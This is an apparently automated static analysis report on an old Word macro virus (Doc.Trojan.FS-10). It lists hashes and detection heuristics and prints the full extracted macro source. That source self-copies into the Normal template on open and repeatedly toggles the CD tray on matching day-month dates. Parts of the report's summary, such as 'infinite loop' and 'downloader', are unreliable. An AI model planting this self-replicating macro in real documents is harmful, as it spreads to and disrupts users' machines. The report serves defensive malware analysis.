Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bde0884d30e9d0fc…

MALICIOUS

Office (OLE)

26.5 KB Created: 2000-02-02 21:53:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: e72f00350727bae1cbaa7724426fdabe SHA-1: 374f571f6d5dc54825f0c28a3dd9c9c5990abaac SHA-256: bde0884d30e9d0fcbfd50dd3ff357b523aef40eef6283c2f9a413ee6b2bc07a4
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic macro named 'AutoOpen'. This macro is designed to copy itself to the Normal template and then enter an infinite loop that repeatedly opens and closes the CD-ROM drive. This behavior is indicative of a downloader or a primitive form of persistence, though the exact payload is not discernible from the provided script.

Heuristics 4

  • ClamAV: Doc.Trojan.FS-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1117 bytes
SHA-256: cc4954b34e92c68dd06c1c40fb682d0a3a84b90a2228237ae97096de5c87757e
Detection
ClamAV: Doc.Trojan.FS-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Vivian"
'Copyright (C) 1998 by FlyShadow ~^^~ - Vivian
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Sub AutoOpen()
On Error Resume Next
With Application
.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Vivian", wdOrganizerObjectProjectItems
.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Vivian", wdOrganizerObjectProjectItems
End With
Do Until Month(Now) <> Day(Now)
DoEvents
mciSendString "set cd door open", 0, 0, 0: mciSendString "set cd door closed", 0, 0, 0: mciSendString "set cd time format tmsf wait", 0, 0, 0: mciSendString "open cdaudio alias cd wait shareable", 0, 0, 0
Loop: End Sub